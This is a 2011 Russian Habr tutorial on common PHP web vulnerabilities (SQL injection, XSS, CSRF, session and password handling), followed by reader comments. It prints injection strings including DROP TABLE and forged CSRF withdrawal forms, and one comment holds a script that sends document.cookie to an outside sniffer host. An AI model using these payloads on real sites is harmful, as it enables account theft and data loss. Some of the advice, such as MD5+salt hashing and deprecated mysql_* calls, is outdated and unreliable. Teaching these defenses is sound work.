Пользователь
0,0
рейтинг
28 февраля 2011 в 22:31

Разработка → 12 навыков создания защищенных веб-приложений

Данная статья не содержит никаких откровений. В первую очередь информация о типовых уязвимостях и методах их решения будет полезна начинающим. Опытные разработчики все это знают, или должны знать, если считают себя таковыми.

Большинство примеров кода не привязаны к какому-либо конкретному языку программирования, но для наглядности я буду использовать PHP.

Итак, поехали.



1. Защита от SQL injection


Допустим у вас есть вебсайт с формой ввода имени пользователя. Для проверки наличия имени в базе данных вы используте вот такой код:
$query = "SELECT * FROM `Users` WHERE UserName='" . $_POST["Username"]. "'";
mysql_query($query);

где $_POST[«Username»] — введенное пользователем имя.

Пользователю достаточно ввести вот такое значение в поле Username
' or '1'='1

чтобы получился запрос, который всегда возвращает данные:
SELECT * FROM `Users` WHERE UserName = '' OR '1'='1'

Для тех баз данных, которые поддерживают выполнение несколько запросов в одном пакете, злоумышленник может исполнить запрос удаляющий или изменяющий данные.

Пример такого ввода:
a';DROP TABLE `Users`; SELECT * FROM `userinfo` WHERE 't' = 't


Запрос на выходе:
SELECT * FROM `Users` WHERE `UserName` = 'a';DROP TABLE `Users`; SELECT * FROM `userinfo` WHERE 't' = 't'

Два основных способа избежать SQL injection:
  • параметризованные запросы

Наиболее надежный метод, но не всегда подходит. В PHP можно для этой цели использовать MySQLi
$stmt = $db->prepare('update people set name = ? where id = ?');
$stmt->bind_param('si',$name,$id);
$stmt->execute();

  • escaping

В PHP для этого есть функция mysql_real_escape_string, которая заменит опасные символы на escape последовательности. Наш пример теперь будет выглядеть вот так:
$query = sprintf("SELECT * FROM `Users` WHERE UserName='%s'",
mysql_real_escape_string($_POST["Username"]));
mysql_query($query);


2. Защита от Сross Site Scripting (XSS)


XSS уязвимости могут быть подвержены динамические вебсайты, где пользователи вводят какие-то свои данные, которые потом будут показаны на странице: форумы, гостевые книги, комментарии блогам и другое. Идея XSS заключается во встраивании в текст комментария какого-то Javascript кода, который исполнится, когда страницу откроет другой пользователь.

Чем может навредить безобидный джаваскрипт? Довольно многим, от открытие левых сайтов в попапе или простого завешивания браузера до воровства куки. Последнее уже может привести к выполнению другим пользователем действий на этом сайте от вашего имени. Рассмотрим минимальный пример.

Форма для ввода текста:
<form id="myFrom" action="showResults.php" method="post">
<div><textarea name="myText" rows="4" cols="30"></textarea><br />
<input type="submit" value="Submit" name="submit" /></div>
</form>


Файл showResults.php:
echo("You typed this:");
echo($_POST['myText']);


Мы видим, что введенный текст никак не обрабатывается и выводится на страницу в исходном виде. Теперь рассмотрим такой пример ввода:


Нетрудно видеть, что javascript код исполнится после сабмита формы. Лечится пропусканием ввода через htmlentities() непосредственно перед показом:
echo("You typed this:");
echo(htmlentities($_POST['myText']));


3. Использование HTTPS


Здесь все очень просто. Если ваше приложение работает с финансовыми, медицинскими или просто с очень важными данными — используйте HTTPS. Данные между браузером и веб-сервером передаются в зашифрованном виде и не могут быть расшифрованы в случае перехвата сниффером.

4. Предотвращение скачивания пользовательских файлов по прямой ссылке



Рассмотрим веб-приложение, где пользователи могут закачивать на сервер свои личные файлы. Некоторые файлы могут быть конфиденциальными и не должны быть доступны никому, кроме их владельца.

Есть закачивать все файлы в директорию вида public_html/files, то файл mysecretdoc.pdf будет доступен любому желающему по прямой ссылке mysecurewebsite.com/files/mysecretdoc.pdf.

Есть как минимум два способа предотвратить эту ситуацию:

  • вынеcти директорию files на уровень выше, чтобы она была вне корня вебсайта и не была доступна через веб
  • использовать .htaccess для запрета прямого скачивания


5. Хранение паролей пользователей


— Не хранить пароли открытым текстом

Достаточно очевидное решение. Если мы будем хранить хэши паролей (MD5+salt), последстивия утечки таблицы паролей становятся намного менее серьезными, особенно в сочетании со следующим пунктом.

— Требовать, чтобы пароли удовлетворяли определенными правилам сложности и заставлять менять их через какое-то время. Как пользователь я не очень люблю этот метод, но он работает.

— Использовать комбинацию пароля (пин-кода) и устройства типа RSA токена для логина. Подойдет для банковских или внутрикорпоративных приложений.

— Сделать авторизацию через сторонний сервис, такой как Facebook, Twitter или OpenID. Пусть у них болит голова как уберечь пароли.

6. Шифрование и обфускация кода


Здесь важно понимать, что шифрование и обфускация защищают от изменения и понимания кода, но не от его исполнения. Защифрованный код исполняется точно так же как и исходный и, более того, модуль расшифровки поставляется вместе с зашифрованным кодом и можеи быть использован для декодирования. Если злоумышленник получил доступ к вашему серверу, шифрование кода мало чем поможет.

Есть только один сценарий, когда это дело работает в качестве защиты от исполнения кода. Код расшифровки может устанавливаться как модуль на сервер и, если в руки злоумышленнику попал только сам зашифрованный код, без этого модуля он его не исполнит.

Шифрование кода для PHP: ionCube, ZendGuard, SourceGuardian

Обфускация: Thicket Obfuscator for PHP

7. Шифрование данных


Шифрование данных защищает от ситуации, когда база данных попала в чужие руки, но нет кода, который с ней работает.

Технически ничего сложного здесь нет. Шифрование/декодирование можно реализвать как средствами языка программирования так и в самой БД. Второй метод предпочтительнее, особенно если нужно реализовать поиск по зашифрованным данным.

Вот как это можно сделать для MySQL.

Шифрование с помощью триггеров
delimiter |

CREATE TRIGGER insert_encrypt BEFORE INSERT ON cars
  FOR EACH ROW BEGIN
    SET NEW.Model = AES_ENCRYPT(NEW.Model,"my passphrase");
  END;
|

delimiter |

CREATE TRIGGER update_encrypt BEFORE UPDATE ON cars
  FOR EACH ROW BEGIN
    SET NEW.Model = AES_ENCRYPT(NEW.Model,"my passphrase");
  END;
|

Декодирование в SQL запросе
SELECT
...
AES_DECRYPT(Model,"my passphrase"),
...
FROM carscars

Бонус для параноиков

В качестве эксперимента можно использовать пароль пользователя в качестве фразы шифрования данных. Если пользователей в системе несколько, персональные данные каждого из них шифруются своим собственным паролем. В таком случае даже получив доступ к коду или к базе данных злоумышленник не сможет расшифровать данные.

Из минусов:
— при смене пароля придется перешифровать данные
— в случае утери пароля восстановить данные не получится

8. Защита данных сессии (PHP, shared server)


В случае, когда ваше приложение хостится вместе с сотней других на одном сервере, кто-то может получить доступ ко всему серверу и прочитать или подделать переменные сессии.

Содержание типичного файла сессии PHP:
userName|s:5:"admin";accountNumber|s:9:"123456789";

Решение:
— шифровать переменные сессии
— хранить данные сессии в БД. В PHP можно переопределить обработчик сессии с помощью функции session_set_save_handler


9. Обработка сообщений об ошибках



Как только система переводится в режим продакшен убедитесь что никакие необработанные сообщения об ошибках не будут показаны пользователю. Это может дать информацию о структуре базе данных или о структуре приложения.

Как минимум, сообщения об ошибках стоит отключить. В PHP это можно сделать вот так:
error_reporting(0);
@ini_set('display_errors', 0);


Наиболее же правильный метод это перехват сообщений об ошибке, запись их в БД, отправка уведомления разработчику итд. В PHP перехват сообщений об шибках делается с помощью функции set_error_handler(). И вот еще пример перехвата фатальных ошибок, которые нельзя перехватить с помощью set_error_handler().

10. Защита соединения между базой данных и приложением


Применимо к ситуации когда база данных расположена на другом сервере. Вот статья, которая рассказывает как создать SSL тоннель между MySQL и PHP.

11. Защита от form spoofing


Допустим у вас есть форма редактирования данных пользователя вот с таким УРЛ: example.com/edit_user.php?id=12345. Ничто не мешает пользователю 12345 поменять номер аккаунта в УРЛ и попытаться отредактировать другого пользователя. Простая проверка на стороне сервера пресекает эти попытки на корню.

Неискушенный прграммист может подумать, что заменив GET на POST мы избавимся от номеров аккаунтов в УРЛ и закроем уязвимость. Разумеется это не так. Сохранив страницу на свой компьютер и изменив данные формы, злоумышленник может подделать POST запрос.

Допустим у вас есть интернет магазин, в котором цена продукта берется из поля на форме. Поменяв значение поля, злоумышленник сможет купить товар по более низкой цене.

Эта тема плотно перекликается с валидацией всех данных, вводимых пользователем. Допустим у вас есть радио-кнопка с выбором пола.
<input name="gender" type="radio" value="m" />Male
<input name="gender" type="radio" value="f" />Female

Зная, что значение этого поля может быть только m или f, программист может посчитать проверку этого поля необязательным и записать его в базу данных в виде как оно есть.

Злоумышленник может сохранить эту страницу себе на диск и поменять ее следующим образом.

<input name="gender" type="text" value="m';DROP TABLE `Users`; ... " />

Даже если вы обработаете ввод с помощью mysql_real_escape_string(), значение все равно получится слишком длинным для односимвольного поля и поломает запрос (вот для чего мы советуем отключать сообщения об ошибках в продакшен версии).

Хорошим решением будет усечение этого поля до одного символа:
substr($_POST['gender'],0,1)


12. Защита от Cross-site request forgery (CSRF)


Эта уязвимость менее известна чем XSS, хотя не менее опасна. Представим себе форум, где участник Vasya постит сообщние, содержащее вот такой вот код:
<img src="http://mysecurebank.com/withdraw?account=petya&amount=1000000&for=vasya" />

Когда эту страницу откроет участник Petya, браузер исполнит запрос
http://mysecurebank.com/withdraw?account=petya&amount=1000000&for=vasya

Проблема в том, что если банк хранит данные доступа в куках, Petya будет залогинен автоматически и транзакция совершится от его имени, о чем он, конечно, и не подозревает.

Первая мысль которая приходит в голову — заметить GET на POST на всех важных формах (или вообще на всех). К сожалению это не решает проблему полностью. Ничто не мешает злоумышленнику разместить вот такую форму на своем вебсайте:
<form id="f" action="http://mysecurebank.com/withdraw" method="post">
        <input name="account" value="petya" />
        <input name="amount" value="1000000" />
        <input name="for" value="vasya" />
    </form>

Если Васе удастся заманить Петю на свой вебсайт — форма будет отправлена и цель достигнута. Еще одна причина не ходить по подозрительным вебсайтам.

Как с этим бороться?
  • проверять значение HTTP реферера. Должно быть всегда с вашего собственного вебсайта. К сожалению положиться на это дело полностбю нельзя, так как многие прокси сервера могут его не передавать. К тому же его не так сложно подделать.
  • использовать скрытое поле в форме с секретным значением, как правило привязанным к сессии пользователя. Злоумышленник не может прочитать форму от имени Пети, поэтому секретное значение окажется для него неизвестным (XmlHttpRequest не может выполнить запрос к другому серверу).
  • Дополнительно отправлять куки через форму (прочитать с помощью джаваскрипта и вставить в форму). Если куки переданные через форму не совпадают с куками из заголовка — транзакцию не проводить.
  • Ограничение времени жизни кук

Дополнительная информация:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
http://www.codinghorror.com/blog/2008/09/cross-site-request-forgeries-and-you.html

Заключение


Теперь хорошие новости. От большинства этих уязвимостей несложно защититься. Многие PHP фреймворки (Yii, CakePHP, CodeIgniter, Zend, Symfony) и генераторы кода (PHPRunner) имеют встроенную защиту от большиства уязвимостей. Тем не менее, стоит понимать, как оно работает, чем чревато и как защититься. Предупрежден — значит вооружен.

 
Сергей Корнилов @volinrok
карма
121,7
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (194)

  • +6
    Спасибо. Было полезно иметь это в системном виде.
    • +4
      Систематизированном, пожалуй :)
      • +1
        Да, вы правы;)
  • –5
    Спасибо за статью, но у меня такой вопрос:
    — Как пользователь может удалить таблицу если он не знает имя таблицы?
    • +4
      Попробует несколько разных вариантов и угадает
      • 0
        точнее не угадаю, а узнаю :)
        Дело в том что взломщику придется протестировать весь сайт, чтобы найти уязвимость, где ему будет выведена ошибка при обращении к базе данных (там же имя и таблицы).
        П.С. В таком случае взломщик выступает еще + как и тестер :) *вот только он нам не скажет где ошибку нашел *
        • +2
          Вы не поверите, но в большинстве случаев, сначала, приходится угадывать, если конечно нет явных ошибок с выводом sql-запроса на страницу. Много веб-мастеров особо не задумываются над названиями таблиц (и в этом их большая ошибка), а используют «общепринятые нормы» типа — users, news, anons, articles...etc
          • НЛО прилетело и опубликовало эту надпись здесь
            • НЛО прилетело и опубликовало эту надпись здесь
    • +5
      А если есть права (у пользователя БД) на show tables; то таблицы злоумышленник увидит списком.
    • +2
      Ничего не мешает посмотреть названия таблиц в information_schema
      • +1
        Самый верный ответ! Если есть какая-либо дыра в обычном селекте, очень просто посмотреть все табилцы и их колонки через UNION SELECT из information_schema, и она доступна вроде как по дефолту. А «show tables», упомянутый выше, ну уж очень жирная дыра должна быть, чтобы выполнить такой вкусный запрос.
    • 0
      А как бы вы назвали таблицу пользователей?
      • 0
        polzovateli? :)
  • +1
    Такой вывод ошибок можно отключить.
    • +3
      Но наверное все-таки это уже лучше сделать с помощью PHP.ini (display_errors = Оff), чем с помощью самого PHP.
      Простите за ламерство, просто пока есть возможность хотелось бы узнать некоторые подробности.
      • +8
        Вы зря извиняетесь — тут же не звери;) А Хабр одно из немногих мест, где можно чему-то научиться на живом опыте. К тому же, характер топика учебный.
      • +1
        Конечно такой способ лучше, но к сожалению не на всех хостингах у пользователя есть возможность править его, поэтому лучше держать на готове способ с отключением вывода прямо в коде
        • 0
          Очень еще удобно иметь механизм его включения/выключения из БД. желательно — с привязкой к IP.
      • +1
        Можно через .htaccess

        php_flag display_errors off

        и подобные…
      • 0
        есть решения на уровне фреймворков, например в симфонии дев по умолчанию поддерживает вывод ошибок, а в релизе он выключен, только логируется все.
  • +6
    Неплохой обзор, но:
    — В обзоре нет php-инъекций.
    — Авторизация через сторонний сервис имеет обратную сторону — если взламывают аккаунт на стороннем сервисе, то получают доступ к аккаунту на вашем сервисе.
    — Если кто-то получит доступ ко всему серверу, то он явно не будет стремиться подделать переменные сессии. Вы, наверно, имели в виду доступ к каталогу для хранения сессий.
    — Половина приведённых проблем решается фильтрацией входящих данных по белому списку. Хоть бы слово про это сказали.
    • 0
      Спасибо за критику. Подскажите что есть php-инъекции.

      Насчет взлома стороннего сервиса мысль правильная, но шансов, что взломают фейсбук или твиттер значительно меньше.

      Про переменные сессии сформулирую поточнее.

      Собственно фильтрация входящих данных и есть основная защита, просто там много еще получается дополнительного материала. Хотелось сделать акцент именно на том, от чего защищаемся.
  • 0
    Спасибо за замечательный обзор! Для новичков — то что надо.
  • +37
    Спасибо, на этой неделе ещё не было!
  • +1
    Все логично и давно известно, спасибо что еще раз напомнили.
    Но стоит помнить еще не менее важную вещь написанную в большинстве книг по информационной безопасности.
    Данные имеет смысл защищать когда стоимость защиты меньше стоимости потери данных, поэтому часть пунктов неэффективна для большинства проектов. В частности пункты 3,6,7.
  • 0
    > Сделать авторизацию через сторонний сервис, такой как Facebook, Twitter или OpenID. Пусть у них болит голова как уберечь пароли.

    Об этом как раз мой стартап :) Через пару недель, как запущу, опишу механизм работы :)
    • 0
      loginza.ru?
      • 0
        Нет :) У нас все брутальнее :)
  • 0
    echo("You typed this:");
    echo($_POST['myText']);

    А что вредоносного может сделать этот код?
    • +3
      $_POST['myText'] = '<script>alert("Hello!");</script>';

      Так яснее?
      • –11
        И что? Я сам себе выведу алерт?
        • +1
          Можно на другом ресурсе разместить форму, безобидную на вид, но ворущую куки.
          • –13
            эм, и как?
            • 0
              яваскриптом
          • +2
            Вас здесь не стояло :D
        • 0
          Отдадите куки как минимум.
        • –3
          Пример действительно неудачный, если бы вместо POST был GET, то вред был бы очевиден.
          Но даже в случае POST можно украсть куки у недалёких людей — во вконтакте когда-то была аналогичная уязвимость (может и сейчас осталась). Суть вишмастера приблизительно такова: жертвам рассылалось сообщение, в котором предлагалось скопировать «волшебную строку», если не ошибаюсь, в поле поиска, после чего они якобы должны были получить доступ к закрытым фоткам или ещё куда-то. Естественно, волшебная строка представляла из себя обфусцированный js, который отправлял ваши куки куда следует. Так что даже давать возможность самому себе выводить алерт — нежелательно.
    • 0
      создать страничку с яваскриптом
    • –4
      <form action=«yourscript.php» method=post>
      Введите ваше имя, чтобы получить анекдот про себя: <input type=«text» name=«username»>
      <input type=«hidden» name=«myText» value="<script>document.alert(«blah»);<script>">
      </form>
      • –5
        и как это взламывает сайт? или вообще кому-то вредит? может пример слишком примитивный?
        • +1
          Можно спереть куки админа.
          • –7
            для этого надо, чтобы админ ввел javascript в эту форму
            • +4
              Ему можно подсунуть страницу, где он, сам того не зная, запостит в свою форму то что вам нужно.
        • +1
          Предполагается, что эта информация будет показана другим пользователям. Пример не удачный, да. Представьте себе комментарий на хабре, вы встроили свой зловредный js в коммент, и каждый кто видит ваш комментарий теряет свои куки (или выпиливается с хабра, например).
          • –3
            это понятно. пример неудачный ;-)
    • 0
      Добавьте туда js, который будет брать куки и обращаться к какому-нибудь урлу вида foo.bar/foo?bar=js_var_with_cookies
      • –3
        Еще раз повторю — посмотрите пример.
        В нем я ввожу текст в форму, которая у меня украдет куки и отправит мне на другой скрипт?
        Зачем?
        • +1
          Странно, что Вы не стали спорить, что зоны bar не существует. Это пример, представьте, что у Вас не фильтруются подписи на форуме или статусы или что-то еще.
          • +1
            В примере как раз не фильтруется строка поиска или что-то подобное. Вот если бы эта строка куда-то сохранялась, а выводилась уже другому пользователю, тогда — другое дело! Я о том, что пример примитивный слишком.
            • +4
              Ну тогда стоит начать с того, что все нормальные пацаны уже давно пишут на Python и привести кусок класса с декоратором, который фильтрует все, включая мат, грязные мыслишки и добрых котяток.
              • +1
                Парень дело говорит. Здесь явно видно что текст передался POST'ом и сразу же вывелся. Для новичка суть проблемы будет не понятна.
                • +2
                  И что? Я могу заставить человека отправить эти пост-данные. Это всё-равно уязвимость.
                  • 0
                    В такомслучае заставляйте человека сразу отправлять пароль вам на емейл, чего уж там…
                    • 0
                      послать пост-запросом данные довольно легко, например делаете у себя на сайте форму, которой часто пользуются люди (ну, поиск), чтобы она выглядела 1в1 как форма поиска, но action ей ставите того скрипта, которому нужно послать данные, и в hidden полях записываете данные, которые нужно послать (например вредоносный JS который ворует кукисы)

                      тогда если человек что-то ищет на вашем сайте он отправляет постом данные на уязвимый сайт, у него выполняется вредоносный JS на сайте, подверженном этой уязвимости и злоумышленник получает ваши кукисы

                      Как заставить посетителя воспользоваться поиском это уже дело вашей фантазии, например если бы хабр был подвержен XSS уязвимости такого рода, то можно было бы в Q&A создать вопрос типа потестите как работает поиск и дать ссылку на свою форму, скорей всего многие бы попробовали и вы получили бы куки.

                      В общем заставить человека отправить пароль на e-mail — сложно
                      Заставить человека отправить произвольный post-запрос произвольному скрипту — довольно легко.

                      Вы часто смотрите куда ведет action в форме которую вы заполняете? :)
                      • 0
                        да и вообще можно форму напрямую ява-скриптом отправлять, но бывают параноики которые вырубают яваскрипт, в таком случае поможет соц.инженерия
                        • 0
                          Ну с отключенным JavaScript, XSS атаки вообще теряют смысл.

                          Но в принципе мысль понял, если сайт подвержен не только XSS но и CSRF, такой случай действительно небезопасен.
                          • 0
                            обычно если сайт подвержен XSS то он будет подвержен и CSRF :)
        • 0
          Есть сайт (фейк), в нём прописан код который кидает нас на сайт от которого нужно получить доступ (и который имеет данную уязвимость), с опять таки скриптом который сохранит и передаст куки перешедшего пользователя туда куда надо.
          Как-то так…
          • –2
            см. мои замечания вокруг — введенный javascript никому, кроме вводившего, не показывается.
            • 0
              Пока javascript показывается вводившему, тем временем, отправляет злоумышленинку кукисы. Например, session_id, под которым злоумышленник может зайти от имени жертвы.
            • +6
              Ты кликаешь на короткий урл в твиттере, попадаешь на some-hacker-site.ru, в котором тебя джаваскриптом посылают через POST с параметрами comment="" на, скажем, хабрахабр, где, например, есть подобная уязвимость. В итоге, ты посылаешь все свои куки злоумышленнику, который с помощью них логинится на хабр под твоим логином и начинает писать глупые комментарии. Тебе ппц!
        • 0
          Ну почему же сразу Вам?
          Вот же простейший пример:
          • 0
            Простите, не вставилось.
            Вот он:
            
            <script>
            img = new Image(); img.src = "http://sniffer.ru/image.png?"+document.cookie;
            </script>
            
            • 0
              Если сообщение смогут увидеть другие пользователи — то тогда как раз на Вашем сниффере будут чужие куки.
            • –6
              Да, примеров полно можно написать, вот только
              echo("You typed this:");
              echo($_POST['myText']);

              выдаст скрипт только вводившему. Обновите комментарии плиз.
              • +1
                Ну и отлично! Мы можем заставить пользователя ввести всё, что угодно с помощью фейкового сайта!
                • –3
                  Пля, хрен с ним, меня все равно заминусовали и насрали в карму уже.
                  Посмотрите код еще 2 раза — какой вред может принести код
                  echo($_POST['myText']);
                  Создайте мне страницу с этим кодом и я вам отдам свои куки, блин.
                  • +1
                    Господи, что же вы непонятливый то такой? У нас есть сайт mycoolsite.sx.
                    По ссылке mycoolsite.sx/index.php есть такой код:
                    <?php echo($_POST['myText']); ?>
                    


                    Кто-то делает сайт i-am-hak.er/, где выкладывает такой код:
                    <form action="http://mycoolsite.sx/index.php" method="post">
                     <input type="hidden" name="myText" value="<script>alert('you are hacked')</script>" />
                     <input type="submit" value="Нажми, если хочешь посмотреть прикольную картинку" />
                    </form>
                    


                    Заманивает наивного пользователя на свой, тот нажимает кнопку и запускает зловредный скрипт. Всё!
                    • +3
                      Спасибо. Я тупой. К сожалению плюсануть уже никого не смогу еще долго.
                      • +1
                        Та ладно, бывает.
                        Согласны с тем, что это — уязвимость?
                        • +2
                          Да, конечно. Ступил на счет другого сайта.
              • 0
                есть сайт hackersite.com и в нем есть такой HTML код:
                <form method="post" target="http://your-buggy-site.com">
                <input type="text" name="myText" value="<script>alert(document.cookies);</script>"/>
                </form>
                <script>
                document.forms[0].submit();
                </script>

                Залогиненный на твоем сайте юзер почему-то зашел на сайт хакера (сокращенная ссылка в твиттере например) а сайт хакера с помощью приведенного кода автоматически отправляет POST запрос на твой глючный сайт. В результате куки уходят хакеру.

                Гуглить по слову CSRF
                • +3
                  Спасибо. Я тупой.
  • +1
    Про mysql_real_escape_string есть любопытное.
    Вкратце: совсем правильно использовать ее вместе с mysql_client_encoding().
    • 0
      сомнения закрадывались еще в далеком 2008ом, когда нашли «codepage sql inj» в SMF

      ссылка
  • –2
    Данные между браузером и веб-сервером передаются в зашифрованном виде и не могут быть расшифрованы в случае перехвата сниффером.

    Если только сниффер не стоит на компьютере пользователя.
    • 0
      Это уже не проблема разработчика веб-приложения, не так ли?
      • –1
        Конечно, но раз цель учебная, стоит отметить, что использование https — не панацея от перехвата.
    • 0
      Не силён в HTTPS и прочих SSL, но разве сниффер чем-то поможет? Какая разница стоит он на компьютере пользователя или на каком-то промежуточном роуте, трафик ведь он будет видеть один и тот же, или нет?
  • +12
    Статья хорошая, но вот с этим я не согласен

    Как минимум, сообщения об ошибках стоит отключить. В PHP это можно сделать вот так:
    error_reporting(0);
    @ini_set('display_errors', 0);


    Зачем отключать генерацию сообщений об ошибках? Достаточно просто спрятать их от пользователя и перенаправить в лог-файл.

    error_reporting(E_ALL);
    @ini_set("display_errors", 0);
    @ini_set("log_errors", 1);


    Теперь все ошибки, даже фатальные, будут доступны в стандартном error-log'е апача.
    • 0
      оу, поддерживаю! написал тоже самое, но опоздал на пару минут :)
    • +1
      +100500. Как можно жить вообще без лога ошибок?
      • –1
        GoDaddy почему-то их (логи) отключает по умолчнию. Можно включить на какое-то время, типа для отладки.
        • 0
          GoDaddy скорее всего экономит ресурсы. В их масштабах это, наверное, оправдано…
          • +4
            Я к тому, что все их клиенты как-то живут без логов.
            Да что ж меня никто сегодня не понимает-то!
            • 0
              Я понял. GoDaddy хостит очень много сайтов на одной физической машине (ну я о стандартных тарифах), следовательно приходится минимализировать обращения к жесткому диску, так как вся система начнет тормозить если на сотни виртуальных серверов единовременно будет писаться лог.

              Но это исключительный случай, как правило все же лучше писать логи.
    • 0
      (Не критика, просто инфо к размышлению)

      Многие большие профессиональные хостеры (работал с немцами и швейцарцами) отключают функцию ini_set. Стоит иметь ввиду и стараться делать проверку на ошибки где только возможно. К счастью эти же хостеры отключают и показ ошибок, но влючают перенеправление их в отдельный лог. Код, приведённый выше, не сделает ничего плохого в этом случае, зато будет действительно полезен в том случае, когда разработчик тестирует своё произведение докально и пытается симулировать настоящий хостинг.
  • +1
    4. Предотвращение скачивания пользовательских файлов по прямой ссылке

    Добавил бы еще любовь некоторых переименовывать файлы в вид [id].jpg и складывать в одну папку.
    Весь контент выкачивается набегом.
    • 0
      Не вижу ничего плохого, если контент находится в свободном доступе. Чай — не лицензионный контент храним.
      • 0
        Предотвращение скачивания пользовательских файлов по прямой ссылке
        http://site.com/user_naked_photos/user_12/photo_1.jpg
        • 0
          Оппс, прошу прощения, час ночи, глаза замылены.
  • +3
    Обзор очень хорош, но по поводу 9го, а именно:
    error_reporting(0);
    ini_set('display_errors', 0);

    очень спорный вопрос, поскольку важно именно не отображать ошибки, а не игнорировать их вообще.
    Поэтому ИМХО даже в самом простейшем случае уместнее было бы следующее:
    error_reporting(E_ALL ^ E_NOTICE);
    ini_set('log_errors', 1);
    ini_set('error_log', '/path/to/log/file.log');
    ini_set('display_errors', 0);

    чтобы в случае ошибок (чем черт не шутит — баги бывают у всех) складировать их в лог.
    • 0
      а чо бы нотисы не показывать?
      • 0
        да можно включить — этот вопрос мне кажеццо зависит от конкретной ситуации и конкретного проекта :)
        • +1
          в любом проекте стоит показывать нотисы
  • +1
    Странно, что не упомянуты HttpOnly куки, конечно защиту от XSS нужно делать в любом случае, но лишний раз перестраховаться и защитить куки пользователя все равно стоит.
    • 0
      актуально только наполовину ибо проверка на обход httponly

      opera 11.01 — успешно :o
    • 0
      Не является стандартом, к сожалению… Хотя и поддерживается большинством броузеров.

      С PHP плозо то, что флаг http_only – в самом конце длинного списка параметров setcookie(). Соответственно, не каждый будет использовать.
  • 0
    Кстати, если речь идет о php, то к этому списку можно было бы добавить ещё пару пунктов, а именно:

    1. «Правильные» настройки интерпритатора, а именно:
    register_globals = Off
    allow_url_include = Off

    держать эти пункты всегда Off, и если и включать, то только в супер-экстренных случаях, когда задачу ну никак не решить другими способами.
    а для особых параноиков задать директиву open_basedir и ограничить действия интерпритатора лишь определенными директориями.

    2. Экранировать системные вызовы exec() / shell_exec() через функции: escapeshellcmd() и escapeshellarg()

    3. Все загружаемые на сервер файлы, проверять на соотвествие типу, ненулевой размер и т.п., то есть проверять хотя бы следующие условия:
    1. $_FILES['file']['error'] === UPLOAD_ERR_OK
    2. $_FILES[‘file’][‘size’] != 0
    3. $_FILES[‘file’][‘tmp_name’] != ‘none’
    4. is_uploaded_file($_FILES['file']['tmp_name'])
    • –1
      И вдогонку — в статье можно было бы ещё упомянуть о проблеме фиксации сессии, благодаря которой удаленный пользователь может внедриться в сессию целевого пользователя. И решение её на php, хотя бы через session_regenerate_id().
    • 0
      А что произойдет страшного, если будет пропущен файл с нулевым размером?
      • 0
        Так уж сильно файл с нулевым размером навредить конечно не может, но как-то повелось, что хранение на сервере пустых нулевых файлов противоречит логике и здравому смыслу :)))
        • 0
          Да, согласен. Просто речь в статье скорее о защите от взлома была, поэтому задумался :).
    • +1
      Простите, но зачем включать register_globals?
      Я не могу придумать ни одной задачи, где оно б было так позарез необходимо.
      • 0
        Ненене! Я ни в коем случае не фанат register_globals! :) Просто бывают такие ситуации в жизни, когда тебе отдают на поддержку проект, которому фиг знает сколько лет и в котором ядро построено на принципе register_globals = On, а времени на рефакторинг нет. Я имел ввиду именно такие случаи.
        • 0
          А знаете, я теперь понимаю, что у меня не жизнь — а рай.
    • +1
      Да пофиг на register_globals. Если скрипт написан прямыми руками, то данные всё равно из GET, POST и т.д. берутся.
    • 0
      Все знают что нужно отключать register_globals, но никто не знает зачем

      Если мы инициализируем все переменные в скрипте с какими-либо начальными значениями (а вы ведь так делаете?) и берем данные из массивов $_SESSION, $_POST, $_GET, какие проблемы могут возникнуть если оставить register_globals в on?

      Так или иначе, в 5.3 register_globals уже Deprecated, а в 6.0 его вообще удалят.
      • +1
        Одно дело когда берешь данные из массивов и контролируешь все входные данные, и совсем другое дело, когда автоматически создаются локальные переменные с параметрами, переданными в скрипт.
        Никто не спорит, что в случае грамотно написанного кода пофик, используется ли register_globals или нет.
        Но в общем случае при включенном параметре register_globals = On вероятность повления ошибки увеличивается, потому что кто ж его знает, где может эта локальная переменная всплыть и в каком контексте.
      • 0
        Во первых ставятся под удар все переменные, не инициализированные явно.
        Во вторых ставиться под удар последовательность появления данных. К примеру что будет, если в сессии есть переменная test, в post есть переменная test и в гет есть переменная test, и в куках есть переменная $test. Какая из них окажется в $_REQUEST и в глобальной области видимости в случае register globals? Как много людей знает как настраивается последовательность сбора данных?
        • 0
          Ну вот я и сказал что если явно инициализировать все переменные и использовать массивы $_POST, $_GET и т.д. то никаких проблем не будет

          Вообще, вы, конечно, правы, и я сразу отметил, что спорить о минусах register_globals = on бессмысленно потому что они известны и потому что весь этот механизм (register_globals) скоро уйдет в небытие.

          Я говорю о том, что если на собеседовании например спросить, что нужно сделать чтобы обеспечить безопасность, большинство кандидатов опишут все, что сказано в статье + тоже скажут что нужно поставить register_globals = off, но если спросить чем потенциально опасен этот самый register_globals= on — большинство кандидатов не смогут ответить на этот вопрос.

          Все знают что register_globals надо выключать, но мало кто знает — почему.
  • +7
    Отлично! Уважаемый volinrok только что продемонстрировал уровень разработчика, который пару недель назад прочел статью «PHP за 30 минут».

    Но, прежде чем критиковать, позвольте дать ссылку на *хороший* ресурс по данной тематике (XSS-уязвимости в Web): code.google.com/p/doctype/wiki/ArticlesXSS (в проекте doctype есть и другие интересные материалы).

    Теперь критика.

    > 1. Защита от SQL injection

    Решается написанием своего класса-обертки для PDO, с целью добавления в него синтаксического сахара, получается примерно так (хотя это уже дело вкуса):

    $dal->write('UPDATE ?table SET ?# =? WHERE ?# = ?', array('email', 'me@mail.ru', 'user_id', $userId), 'users');

    > Лечится пропусканием ввода через htmlentities() непосредственно перед показом:

    Это неправильно. Для данной цели предназаначеня ф-я htmlspecialchars(), а htmlentities превратит ваш исходный код в кашу из entities.

    > 6. Шифрование и обфускация кода

    Да, автору этой статьи стоит шифровать весь свой код, а то стыдно же будет. И вообще, сколько я не сталкивался с разработкой, всюду такую лапшу пишут, что ее и защищать не надо — никто в ней не разберется. шифрование не нужно.

    > 7. Шифрование данных

    Отлично! Мы храним пароль как в БД (в триггере), так и в коде (в SQL запросе)! лучше не придумать. А по теме — пишите нормальный код, ставьте 20 символьный пароль на ssh и никто вашу базу без физического доступа к серверу не украдет.

    > Как минимум, сообщения об ошибках стоит отключить. В PHP это можно сделать вот так:

    Это костыль. В PHP для этого есть php.ini

    > Допустим у вас есть интернет магазин, в котором цена продукта берется из поля на форме. Поменяв значение поля, злоумышленник сможет купить товар по более низкой цене.

    // мне даже добавить нечего

    В общем, не читайте эту хрень :) Здоровее будете.

    • +1
